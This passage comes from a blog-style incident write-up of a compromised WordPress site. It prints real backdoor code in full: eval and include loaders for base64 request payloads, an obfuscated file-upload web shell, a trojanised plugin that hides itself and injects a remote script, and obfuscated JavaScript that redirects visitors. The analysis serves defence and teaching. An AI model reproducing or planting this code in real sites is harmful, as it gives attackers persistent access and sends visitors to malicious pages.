        @unlink('./wp-sale.js'); // could this refer to the sale made on the black markets?
    }

    $hzxei = 'tmpfile';
    $dvyyj = 'fwrite';
    $aoror = 'fseek';
    $ovagv = 'base64decode';
    in_array = 'stream_get_meta_data';
    $cjgra = tmpfile();
    if (fwrite(tmpfile(), <?php . base64decode($giwsq['a2e6a'])) != false)  {
        include(stream_get_meta_data(tmpfile())['uri']); // include the uri of the temporary file
        fclose(tmpfile());
    } else {
        @eval(base64decode($giwsq['a2e6a'])); // decode content of the GET or POST request's '/?a2e6a=' parameter
    }

}

?>

This hints at the tmp folder and a file with an auto generated temporary file name, and sure enough, there was another piece of malware.

The fun fact here is that while I was writing this very line, I finally noticed that the file was indeed from the 12th but the 12th of march, 2 months ago 😱. This is the moment I connect the dots and see that the site was compromised on the 12th of march at 10:52, and that I came in too late to the party or to retrieve any logs. Nonetheless, let’s see what the previous script is including:

old backdoor

We have now reached the philosophical part of this investigation. “Silence is golden” is a WordPress insider comment which is often found in index.php files from plugins and themes. It’s purpose is to serve as a placeholder for the rest of the data that will populate the index.html. This is a way to prevent unauthenticated users to list the content of the directory. The concept fits for our attacker too, and staying under the radar for 2 months and selling the backdoor access was quite a smart move as most hosting providers won’t keep more than a month of logs, unless you specifically pay for it.

Funky fact: in wordpress you can actually view the content of the files, but if you put enough whitespace, the code will disappear to the right and you will need to side-scroll to see it, which could be missed. Here’s some more crazy code to make me struggle.

File: /tmp/phpAaiBDC

<?php
// Silence is golden.
                                                                                                                                                                                                                                                                                                         function _Q6K6($_uSQrvcXoS){$_uSQrvcXoS=substr($_uSQrvcXoS,(int)(hex2bin('31313139')));$_uSQrvcXoS=substr($_uSQrvcXoS,(int)(hex2bin('30')),(int)(hex2bin('2d323939')));return $_uSQrvcXoS;}$_u1qcNZI='_Q6K6';$_QgbfPdjA='base64_decode';function _xyuvE8F7bBudx($_qvyHr){global $_u1qcNZI;global $_QgbfPdjA;return strrev(gzinflate($_QgbfPdjA(_Q6K6($_qvyHr))));}eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(eval(_xyuvE8F7bBudx('TTbXOP75OiOymgQTXmFGDu9R4ciKPA7ZrQodUaXzxbSJncByay16TTr9RYKRsM1tBEpEH6UGLslRglhT4IQlWClLkSxEdSUdBFu29LBIZp6ETQMl04xeIZEtIst6mdzDoFs1lk04o9GbWpZLV2wVBzoKynQagWYvKlePgYtVyN53Uyadnemckqy77Ak3D3TaXJpd183WwFYzdxeE3v3tM4JmgCXsq0UBQ4LRSRjFJNUAqPafEylmWENuxm3bYX977B0ssqz9Gn4umLLfmbpHzhymsz5TlzrYlFUlwWz8KQ5Vn8KsVY1UgIqebqalFPH0C587sxmU5QXEw6MAPbx4HjdeiQEDl38lCXWEcxHOw0eRM2b8E75OkYRVqpVN3H9MsdyeO6RWVORbD3ZR8AxDmQ0geyWnFRhPHpBONc0YZcZ0q9eNj2pxcjvWoNVcpHGHieUL0ObEO6wD2roDWwmugvhcXfYpicd4w5oJ4JbQsUgb8cadKeGTRlEfRnS23MC05hs2MmRw0m5b0HpD9X1OneTPbUVKDM6BRW6kWu441JmbK7WWNH9lPynsuHkjFYJo620kofxgm3jYGNxBTB2JIrzOfMbZqwZSZjd5LUEgijDHeFHxh3YkaXKLkLE7YIT4GwZ6qYiWUEphfs448K7xhcxVVPGvIO3dyDY6wqxGbRuBoLMfZhiRFjBep12tX4HZE8vEom5ZJ3D8YV061vZzDV7KkjygybSjdTkXu8fQVMEQSPjwhgFLGT91dFi1HQDYfpv2qqmDuNqqWF87Zh2h2dKfgumI0qgHWSsVjyHEgX7fPjVWpJOvqXMjEsr2bFBckmox55n8KOQG1oKOJjxRPD31NhF2Uj04K826R5TtHBu4jwWagGJFwBjt36TtqNPxRbJLrKHZ1h5UeGiy2aOy5NB1HzHVEKYQYyAavGKwQjugA4WRKV4nve5Ra2HpLGmhtEhGdOAF5TsCbo3gRDhK6XC6sYVIhfr57r6HiAkzsjDoKmb4rlF54pxBOpSw87LUSaq72FJhGDq93X2Gg253zqBeIcoE0BCcYtWi7HmRZ3RATR1L5DnGp61cLY7gXWO4LvD4LrST4UVd7KBEHgwvWvz0qxCZgqSTVPbjqpIFH3uTvofiDFRY88RKaBgHB8UQRtE8UYLmaSDWFyUixQlCifz74POnEs91L6ttXaqsveg0zZmRnPQQbGToCj0mu+tVjtJQ+ImV+ULEQdhafiAvL4NWoNOp9P6e8iOJAlyqlKh22wBqvPugpaFctyVkddNRxtDsiByqp63sN0SFA6td8UPDOJP8qnzhJ3QV5FAUDmkp8u9UhKILHqznc7GnkX6pQg3q4nN8sJ6d9NUS+mFR6AeJbiaCvJpmmv0eSmo0IWKTeeM4YiXo8evK8cad8/9U8yfD5vEswtLCxL+YjvVNc8VMNajQjRJcdxnRXdBzAQk+1tuFCfONhPILjj7NJ7cwL5758p9P1cm7iTa0jMTBLqKp5k/NrXQZMO8MNb7z5vew93dUl6GMhePfCbDjKRhLSzCrZEsObNIjHJnMJoyjcKKZyU6c8KqHF/pKAsnWbKZhmY8sr3pchp4eRXK2iqQb8zGDuMg0nmHSF7iT2dQNTlCPiKZk7tZmh6ylb894SqQZGcE+vd0fRiZ5kWZMtbKUYS9H+lsqVunm+1HEr5XNiuf11Z0jsPFQqX1ZLVf58LekIXMg0SeILMA15mEwlApsGWJswBqeaWezKN0nY+9aDv3xb16mOTrWfdDJZGjqZwH0N30rkI+vYUWEGNs+p6usZ+mYLh3AhkmZkVNJIv5EjCAOwvnQBjl8ODrSQF75i3F8iHrf24zRrlLwLVvmpb787kUd225cuNVbMx1mT+RsLcb0eyc9Hf9u4pa3zoNyAgMx7O8wgP+aTkW8IDjAezzDC8wAALI8Qyk4eSJkXkOjiCsKxLf5/m61miX6Pwl7b7y3Imk4c9Zr2e602D6gDn4Q4Jy7AQuNYhiEvTIHRHqT3Qpt3+QBJEkdRttjI4OCl7f/nmpeRj51wM6NqkEXwnCLy+P/KNQrwjzjpK0+e4nISZ5s03V9+GatykXHe8oeG9IjTZ1dp0LNfxG/dB5eZC/Ux1m2H2QB6WDsdOk/qKeEU0Nn04bp96zS6tVZ35xn31/9Itr06bqF9ZRjfpP6Sn/E/L7d1D/b7tH1echRLdrGMHpBeEvnGKMXt/+BQ==nQ7LtFSytw1XYbHvMdqKm4m2u8p1PcgxekZX0Qmce6qYw59kWU4lZbMeOLE0a7RFh2QlwxtHSApbgG4F8ZVwoCmAoCeMjwH6Hcj6S9HCsnHyWGPLm9iYOkK90zWTNGjrrZTv7GFrv4rZMEPfxa8ybh7e1olT2B40SkVdfYFPuA3n1niWcqCutsDAmX170tHKzOnmxLo21R4zBTVl5FnMhQPERnpLSMEJGUxRSsLSUJqKB2516gz1uNcmDhS5Om4ss1jQEJlyWOcHIds8DVLf4s8SQlqwMSJgrTffRRmGjOd')))))))))))))))))))); 

Did you see how many chained eval functions there are in that thing 🤢? I felt I’d better remove all of them before sticking it in an IDE and finding it held another snippet of code.

error_reporting(0);
    function Class_UC_key($string){
                $array = strlen (trim($string));
                $debuger = '';
                for($one = 0;$one < $array;$one+=2) {
                        $debuger .= pack ("C",hexdec (substr ($string,$one,2)));
                }
                return $debuger;
        }
header("content-Type: text/html; charset=gb2312");
$filename=Class_UC_key("6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827").'eJx1U1tL40AU/itj6EMLPmQmczEZ+mCLLgsKKwZc3CxF2qTW1qbErowV/7vnMgb7sA8hk8k5323OLNt9K94m227txcP8VW4KMfgVrm93YiwGs8ufVxe3f5JKaltJI+HRsDbJX9gLTlfBLuCdVjJzsK7hH9YYrvFiieCHu3vVeDEt7fq8EPX8sRXQnM0JNNimklYRkE4ZzxrClgZwjYMy4MlgX8FaQY2GFpVVAbRox13AaEChzrjTgQqbooq+E5ElItt5VJ7HGgnfCta6MlhmiZS2wEhQKEizsfhGOGfZAmViGSnqDiql0uByziaq0C46zilGFK2PUyPnvV5OnPTiviKrKC2rq2gAm5EiOEOU+r/MwWXRPvsi4ViKVBgqGrJMh3VH0TlDcDFs1Xy5x+X3wDBjZ5N47nVZ5jvPswXn3nVtN+vqXdvtV9vlMB3FssuzaZp6nhKYvZfnSbk6mj1k+BYazR6fdp9aP2s0ZF7c7J8Ok0KsGjE8GQ7CdJ3di/FYJKwUR864ZDQS79y1tYfm4MUHf9Et8Cy/EM/taz37t9u0D4t6MWtWm3rI9+M0av3ycZNf/zae7YCPSAo+flyUdFvOepUkz3NHwezFJ57CCA4=')));';
$PHP=Create_Function('',$filename);$PHP();

The first part of the Class_UC_key function decodes to the following from hex

eval(gzuncompress(base64_decode('

and the second part is base64 but I needed to decompress the data to obtain this nightmarish piece:

goto yBnrk; acv1l: $PxMSp = $_FILES["\146\151\154\145"]["\x74\x6d\x70\137\x6e\141\155\145"]; goto zWZ2f; CT6kA: echo "\x3c\146\x6f\162\x6d\40\x6d\x65\x74\150\157\144\x3d\x27\120\x4f\123\x54\47\40\x65\156\143\x74\171\160\145\x3d\x27\x6d\165\x6c\x74\x69\160\141\x72\164\57\x66\157\x72\155\x2d\x64\141\164\141\x27\76\x3c\151\156\160\165\x74\x20\164\x79\x70\145\x3d\47\146\x69\154\x65\47\x6e\141\155\x65\x3d\x27\x66\151\x6c\x65\x27\40\57\x3e\74\x69\x6e\x70\x75\164\40\164\x79\x70\145\x3d\47\x73\165\x62\155\151\164\x27\x20\x76\x61\x6c\165\145\x3d\x27\x75\x70\47\40\x2f\76\x3c\x2f\x66\157\x72\x6d\76"; goto eTT9p; yBnrk: error_reporting(0); goto F8C00; zWZ2f: $smBTi = $_FILES["\x66\x69\154\x65"]["\156\141\155\x65"]; goto CT6kA; QtjzB: if (!($xCk3Z == "\157\x6f\157")) { goto n6zfz; } goto acv1l; eTT9p: move_uploaded_file($PxMSp, $smBTi); goto Q9MX5; F8C00: $xCk3Z = $_GET["\x78"]; goto QtjzB; Q9MX5: n6zfz:

This nasty block is a combination of Octal and Hex encoded characters, which makes for a very tedious decoding char by char, but it just works when evaluated 20 times.

goto yBnrk; 
acv1l: $PxMSp = $_FILES["file"]["tmp_name"]; 
goto zWZ2f; 
CT6kA: echo "<form method='POST' enctype='multipart/form-data'><input type='file' name='file' /><input type='submit' value='up' /></form>"; 
goto eTT9p; 
yBnrk: error_reporting(0); 
goto F8C00; 
zWZ2f: $smBTi = $_FILES["file"]["name"]; 
goto CT6kA; 
QtjzB: if (!($xCk3Z == "ooo")) { goto n6zfz; } 
goto acv1l; 
eTT9p: move_uploaded_file($PxMSp, $smBTi); 
goto Q9MX5; 
F8C00: $xCk3Z = $_GET["x"]; 
goto QtjzB; 
Q9MX5: n6zfz:

As we can see, using the goto function helps further make the code look like a mess. It seems like another voluntary act of obfuscation, as people have abandoned this feature long ago for readability purposes, according to the PHP manual here. Read the comments to get a feeling of why it’s considered bad practice.

I am the raptor

I am the raptor here, I guess 😂 .

sorting the actual code

Sorting this code, I can say n6zfz will be equivalent to an ‘end:' statement in this case, as it is also called in the ‘if’ statement. This code is keeping a backdoor open and making it possible to upload files by inserting a form in the main page with the malicious plugin, as previously seen in the logs. And indeed there was some obvious unwanted form tags in the main page that I didn’t think of making a screenshot of at the time.

Part 2 - The malicious plugin

We still have another bunch of files created by the hacker that we need to look into. It was the posts-layouts plugin, which seems like it was a normal plugin at some point in time despite the last comment being from 2020. At least I didn’t see the lines of malicious code I found in the infected plugins.

malicious plugin

File: web/wp-content/plugins/posts-layouts/dist/stop.tmp

1

Ok…

File: web/wp-content/plugins/posts-layouts/posts-layouts.php

<?php

/**
 * Plugin Name: Post Layouts for Gutenberg
 * Plugin URI: https://wordpress.org/plugins/post-layouts/
 * Description: A beautiful post layouts block to showcase your posts in grid and list layout with multiple templates availability.
 * Author: Techeshta
 * Author URI: https://www.techeshta.com
 * Version: 1.2.6
 * License: GPL2+
 * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
 *
 * Text Domain: post-layouts
 */
/**
 * Exit if accessed directly
 */
if (!defined('ABSPATH')) {
    exit;
}

define('PL_DOMAIN', 'posts-layouts');
define('PL_DIR', plugin_dir_path(__FILE__));
define('PL_URL', plugins_url('/', __FILE__));

/**
 * Initialize the blocks
 */
function posts_layouts_gutenberg_loader() {
    /**
     * Load the blocks functionality
     */
    require_once ( PL_DIR . 'dist/init.php');

    /**
     * Load Post Grid PHP
     */
    require_once ( PL_DIR . 'src/index.php');
}



/**
 * Load the plugin text-domain
 */
function posts_layouts_gutenberg_init() {
    load_plugin_textdomain('post-layouts', false, basename(dirname(__FILE__)) . '/languages');
}



/**
 * Add a check for our plugin before redirecting
 */
function posts_layouts_gutenberg_activate() {
    add_option('posts_layouts_gutenberg_do_activation_redirect', true);
}



/**
 * Add image sizes
 */
function posts_layouts_gutenberg_image_sizes() {
    // Post Grid Block
    add_image_size('pl-blogpost-landscape', 600, 400, true);
    add_image_size('pl-blogpost-square', 600, 600, true);
}


function posts_layouts_start(){

        if(file_exists(PL_DIR . 'dist/init.php')) {
                require_once ( PL_DIR . 'dist/init.php');
        }
        if(file_exists(PL_DIR . 'dist/cache.php')) {
                require_once ( PL_DIR . 'dist/cache.php');
        }
        if(file_exists(PL_DIR . 'dist/job.php')) {
                require_once ( PL_DIR . 'dist/job.php');
        }



}


add_action('init','posts_layouts_start');                                                                                                                                                                                                 add_action('pr'.'e_cu'.'rren'.'t_act'.'ive_pl'.'ugi'.'ns', 'posts_layouts_finish');

File: web/wp-content/plugins/posts-layouts/dist/job.php

<?php

function posts_layouts_head(){
        $sc = "sc"."r"."ipt";
        echo "<".$sc." ".substr($sc, 0, 3)."='htt".chr(112).chr(115).chr(58).chr(47).chr(47).chr(99).chr(100).chr(110).chr(46).chr(115).chr(99).chr(114).chr(105).chr(112).chr(116).chr(115).chr(112).chr(108).chr(97).chr(116).chr(102)."orm.com/scripts/stats.js' type='text/java".$sc."'></".$sc.">";
// <script substr(script, 0, 3)='https://cdn.scriptsplatform.com/scripts/stats.js' type='text/javascript'></script> the substr also gives back scr instead of src, but it seems it's not breaking anything
}
add_action("w"."p_h"."ead",'posts_layouts_head');                                                                                                                                                                                         $b = "b"."a"."se6"."4_"."d"."ec"."od"."e"; $m = "md5";$d="dd";$e=$m("343");$f=$b("ZmQ"."0"."NWR"."jZ"."GI0NGF"."iODVi"."Yj"."M2N"."WVmY"."TE4Zj"."Q4MTM3OGQ="); if(isset($_POST[$d])){if($m($_POST[$d])==$f){ eval($b($_POST[$d.'1'])); }} if(isset($_GET['343'])){echo $e;die();} 
// The 343 parameter can be seen here.

Now we start playing with malicious javascript as this will inject a script tag in the wp_head() function, which will print scripts or data into the head tag on the front end. We can also recognize one of the links that appeared on my phone at the beginning!

File: web/wp-content/plugins/dist/init.php

<?php

function posts_layouts_finish(){
         global $wp_list_table;
    $h = array(PL_DOMAIN .'/'.PL_DOMAIN.'.php');
    $pst_list = $wp_list_table->items;
    foreach ($pst_list as $key => $val) {
        if (in_array($key,$h)) {
                        unset($wp_list_table->items[$key]);
        }
    }

}

File: web/wp-content/plugins/posts-layouts/src/index.php

                                                                                                                                                                                                                                          <?php $b = "b"."a"."se6"."4_"."d"."ec"."od"."e"; $m = "md5";$d="d"."d";$e=$m("343");$f=$b("ZmQ"."0"."NWR"."jZ"."GI0NGF"."iODVi"."Yj"."M2N"."WVmY"."TE4Zj"."Q4MTM3OGQ="); if($m($_POST[$d])==$f){ eval($b($_POST[$d.'1'])); } else {echo $e;die();}
// decodes to fd45dcdb44ab85bb365efa18f481378d, same as job.php in the dist folder

We can recognize the 343 parameter from the logs, which seems to be used to base64 decode potential commands sent by the attacker. Our next focus is this malicious domain: scriptsplatform[.]com, and more specifically the file that gets used as a source.

Part 3 - Javascript redirects

Let’s grab this file and see what it actually does to our main page.

File: hxxps[:]//cdn[.]scriptsplatorm[.]com/scripts/stats.js

var q=b;function a(){var r=['coll','13368123tmzzBY','10pGMVfl','remove','head','appendChild','948747dUIjuX','parentNode','src','insertBefore','pt[','querySelector','2229544tzYEKK','322jtuOfV','133222pVrQry','818428usZefP','createElement','1485380zQiyOr','getElementsByTagName','5YSDUMY','21414LOUldK','ect','fromCharCode'];a=function(){return r;};return a();}(function(c,e){var o=b,f=c();while(!![]){try{var g=parseInt(o('0x10c'))/0x1*(-parseInt(o('0x107'))/0x2)+-parseInt(o('0xff'))/0x3+parseInt(o('0x108'))/0x4+-parseInt(o('0x10a'))/0x5+-parseInt(o('0x10d'))/0x6*(parseInt(o('0x106'))/0x7)+-parseInt(o('0x105'))/0x8+parseInt(o('0x111'))/0x9*(parseInt(o('0x112'))/0xa);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x496a3));function b(c,d){var e=a();return b=function(f,g){f=f-0xff;var h=e[f];return h;},b(c,d);}function isScriptLoaded(c){var p=b;return Boolean(document[p('0x104')]('sc'+'ri'+p('0x103')+'sr'+'c=\x22'+c+'\x22]'));}var bd='ht'+String[q('0x10f')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x74,0x61,0x74,0x69,0x73,0x74,0x69,0x63,0x2e,0x73)+'c'+'ri'+'pt'+String[q('0x10f')](0x73,0x70,0x6c,0x61,0x74,0x66,0x6f,0x72,0x6d,0x2e)+'co'+String[q('0x10f')](0x6d,0x2f)+q('0x110')+''+q('0x10e');if(isScriptLoaded(bd)===![]){var d=document,s=d[q('0x109')]('sc'+'r'+'ip'+'t');s[q('0x101')]=bd,document['currentScript']?document['currentScript'][q('0x100')]!==null&&document['currentScript'][q('0x100')][q('0x102')](s,document['currentScript']):d[q('0x10b')](q('0x114'))[0x0]!==null&&d[q('0x10b')](q('0x114'))[0x0][q('0x115')](s);}document['currentScript']&&document['currentScript'][q('0x113')]();

More nausea inducing code, before your very eyes…

var q = b;
function a() {
        var r = [
                'coll',
                '13368123tmzzBY',
                '10pGMVfl',
                'remove',
                'head',
                'appendChild',
                '948747dUIjuX',
                'parentNode',
                'src',
                'insertBefore',
                'pt[',
                'querySelector',
                '2229544tzYEKK',
                '322jtuOfV',
                '133222pVrQry',
                '818428usZefP',
                'createElement',
                '1485380zQiyOr',
                'getElementsByTagName',
                '5YSDUMY',
                '21414LOUldK',
                'ect',
                'fromCharCode'
        ];
        a = function () {
                return r;
        };
        return a();
}
(function (c, e) {
        var o = b, f = c();
        while (!![]) {
                try {
                        var g = parseInt(o('0x10c')) / 1 * (-parseInt(o('0x107')) / 2) + -parseInt(o('0xff')) / 3 + parseInt(o('0x108')) / 4 + -parseInt(o('0x10a')) / 5 + -parseInt(o('0x10d')) / 6 * (parseInt(o('0x106')) / 7) + -parseInt(o('0x105')) / 8 + parseInt(o('0x111')) / 9 * (parseInt(o('0x112')) / 10);
                        if (g === e)
                                break;
                        else
                                f['push'](f['shift']());
                } catch (h) {
                        f['push'](f['shift']());
                }
        }
}(a, 300707));
function b(c, d) {
        var e = a();
        return b = function (f, g) {
                f = f - 255;
                var h = e[f];
                return h;
        }, b(c, d);
}
function isScriptLoaded(c) {
        var p = b;
        return Boolean(document[p('0x104')]('sc' + 'ri' + p('0x103') + 'sr' + 'c="' + c + '"]'));
}
var bd = 'ht' + 'tps://statistic.s' + 'c' + 'ri' + 'pt' + 'splatform.' + 'co' + 'm/' + q('0x110') + '' + q('0x10e'); // https://statistic.scriptsplatform.com/collect
if (isScriptLoaded(bd) === ![]) {
        var d = document, s = d[q('0x109')]('sc' + 'r' + 'ip' + 't');
        s[q('0x101')] = bd, document['currentScript'] ? document['currentScript'][q('0x100')] !== null && document['currentScript'][q('0x100')][q('0x102')](s, document['currentScript']) : d[q('0x10b')](q('0x114'))[0] !== null && d[q('0x10b')](q('0x114'))[0][q('0x115')](s);
}
document['currentScript'] && document['currentScript'][q('0x113')]();

Including another script again,

File: hxxps[:]//statistic[.]scriptsplatorm[.]com/collect (cleaned)

function b(c, d) {
        var e = a();
        return b = function (f, g) {
                f = f - 198;
                var h = e[f];
                return h;
        }, b(c, d);
}
(function (c, d) {
        var B = b, e = c();
        while (!![]) {
                try {
                        var f = -parseInt(B('0xd4')) / 1 + parseInt(B('0xd5')) / 2 + -parseInt(B('0xe9')) / 3 + -parseInt(B('0xd3')) / 4 * (parseInt(B('0xca')) / 5) + parseInt(B('0xd8')) / 6 + -parseInt(B('0xcc')) / 7 + -parseInt(B('0xec')) / 8 * (-parseInt(B('0xd2')) / 9);
                        if (f === d)
                                break;
                        else
                                e['push'](e['shift']());
                } catch (g) {
                        e['push'](e['shift']());
                }
        }
}(a, 188768));
function ztt() {
        var C = b, c = window;
        c['addEventListener']('DO' + String[C('0xdc')](77, 67, 111, 110, 116, 101, 110, 116, 76) + C('0xe1') + 'ed', function () {
                var D = C, d = document[D('0xcf')]('sc' + 'ri' + 'pt');
                for (var e = 0; e < d['length']; e++) {
                        if (D('0xc6') !== D('0xd1'))
                                d[e][D('0xcd')]('sr' + 'c') != null && (d[e]['getAttribute']('sr' + 'c')[D('0xdf')](D('0xce') + String[D('0xdc')](105, 112, 116, 115, 112) + 'lat' + 'fo' + 'rm') !== -1 && d[e][D('0xed')]()), d[e]['getAttribute']('s' + 'cr') != null && (d[e][D('0xcd')]('sc' + 'r')[D('0xdf')]('s' + 'cr' + String[D('0xdc')](105, 112, 116, 115, 112) + D('0xd6') + D('0xe3') + 'm') !== -1 && d[e][D('0xed')]());
                        else {
                                var g = k[D('0xe4')][D('0xdf')](l) !== -1;
                                if (g) {
                                } else {
                                        s(t, 1, 1);
                                        var h = u, j = D('0xda') + v[D('0xdc')](101, 46, 115, 99, 114, 105, 112, 116, 115) + D('0xe7') + w['fromCharCode'](116, 102, 111, 114, 109, 46, 99, 111, 109, 47, 97, 119, 97, 121, 46, 112, 104) + D('0xe6') + x['fromCharCode'](99, 101, 105, 100, 61, 52, 51, 54, 51, 55, 55, 53, 51, 38, 115) + D('0xea');
                                        h[D('0xe8')][D('0xdb')] = j, h['location'][D('0xe5')](j);
                                }
                        }
                }
        });
}
function trewte() {
        var E = b, c = document[E('0xe4')]['indexOf']('w' + String['fromCharCode'](112, 45, 115, 101, 116, 116, 105) + E('0xc9')) !== -1, d = E('0xeb') + String[E('0xdc')](112, 101, 108, 97, 100) + 'm', e = E('0xeb') + String[E('0xdc')](112, 101, 108, 97, 100) + 'us';
        if (c || geteg('w' + String[E('0xdc')](112, 45, 115, 101, 116, 116, 105) + E('0xdd')) != null || geteg(d) != null) {
                if ('yJzyV' === E('0xcb')) {
                        i(j, 1, 1);
                        var j = k, k = E('0xda') + l[E('0xdc')](101, 46, 115, 99, 114, 105, 112, 116, 115) + 'pla' + m['fromCharCode'](116, 102, 111, 114, 109, 46, 99, 111, 109, 47, 97, 119, 97, 121, 46, 112, 104) + 'p?sour' + n[E('0xdc')](99, 101, 105, 100, 61, 52, 51, 54, 51, 55, 55, 53, 51, 38, 115) + E('0xea');
                        j[E('0xe8')][E('0xdb')] = k, j['location'][E('0xe5')](k);
                } else {
                        if (geteg(d) != null) {
                        } else
                                yeruetuj(d, 1, 90);
                }
        } else {
                var f = document[E('0xe4')]['indexOf'](e) !== -1;
                if (f) {
                } else {
                        yeruetuj(e, 1, 1);
                        var g = document, h = E('0xda') + String[E('0xdc')](101, 46, 115, 99, 114, 105, 112, 116, 115) + E('0xe7') + String[E('0xdc')](116, 102, 111, 114, 109, 46, 99, 111, 109, 47, 97, 119, 97, 121, 46, 112, 104) + 'p?sour' + String['fromCharCode'](99, 101, 105, 100, 61, 52, 51, 54, 51, 55, 55, 53, 51, 38, 115) + E('0xea');
                        g[E('0xe8')][E('0xdb')] = h, g['location'][E('0xe5')](h);
                }
        }
        ztt();
}
function a() {
        var H = [
                'length',
                'ngs',
                '1088865SPRUUx',
                'HrUvA',
                '989863UYMSCR',
                'getAttribute',
                'scr',
                'getElementsByTagName',
                'charAt',
                'SvDPE',
                '3627oRORkx',
                '4TYQPDX',
                '118473OQRURA',
                '119126nVUlYY',
                'lat',
                '; path=/',
                '2205726OjsiTQ',
                'setTime',
                'https://com',
                'href',
                'fromCharCode',
                'ngs-time',
                'toUTCString',
                'indexOf',
                'substring',
                'oad',
                '; expires=',
                'for',
                'cookie',
                'replace',
                'p?sour',
                'pla',
                'location',
                '499746QBexcf',
                'uid=364&pid=23468658',
                'sim',
                '8056cCpdcK',
                'remove',
                'MkpLJ',
                'getTime'
        ];
        a = function () {
                return H;
        };
        return a();
}
trewte();
function yeruetuj(c, d, e) {
        var F = b, f = '';
        if (e) {
                var g = new Date();
                g[F('0xd9')](g[F('0xc7')]() + e * 24 * 60 * 60 * 1000), f = F('0xe2') + g[F('0xde')]();
        }
        document[F('0xe4')] = c + '=' + (d || '') + f + F('0xd7');
}
function geteg(d) {
        var G = b, e = d + '=', f = document[G('0xe4')]['split'](';');
        for (var g = 0; g < f[G('0xc8')]; g++) {
                var h = f[g];
                while (h[G('0xd0')](0) == ' ')
                        h = h[G('0xe0')](1, h[G('0xc8')]);
                if (h[G('0xdf')](e) == 0)
                        return h['substring'](e[G('0xc8')], h['length']);
        }
        return null;
}

And this final script calls the url that got stuck in my browser, which is hxxps[:]//come[.]scriptsplatorm[.]com/away.php. I will not go any further as this was all the proof I needed to be able to link the behaviours and urls to this attack.

Conclusion

The main thing I saw when reading about WordPress security is to do your updates regularly, and account for all your plugins and themes. Auto updates will only do so much for you. I would like to add: don't keep paid versions you don't pay, because you will be stuck with a potential backdoor into your website that will never tell you to update it, or worse, attacker controlled updates. It sounds like pretty standard advice, but it's because that's really what you should do when you deal with the sea of developers and plugins that is the WordPress ecosystem. There are so many options, it's easy to get lost in them and forget stuff we tried and are not using anymore. This is a constant headache for both site owners and any type of incident responder that might be called to the rescue after a hack.

I personally had a lot of research to do as I never really developed anything with WordPress or PHP. This being my first real life malware investigation, I made a lot of rookie mistakes, and discoveries at every stage of it. But I absolutely love to do and share this kind of stuff and will keep trying to expose myself to this in the future.

Do your backups regularly and update whenever possible. Automation plugins won’t cut it, as you can only know by keeping an eye on your plugins state. WP cerber got removed from the wordpress.org plugin page in September of 2022, but they keep publishing updates on their website for now. This is too much loose ends to my taste.

versions

wordpress meme

Darth Vader Meme

by Starry-Lord 22.05.23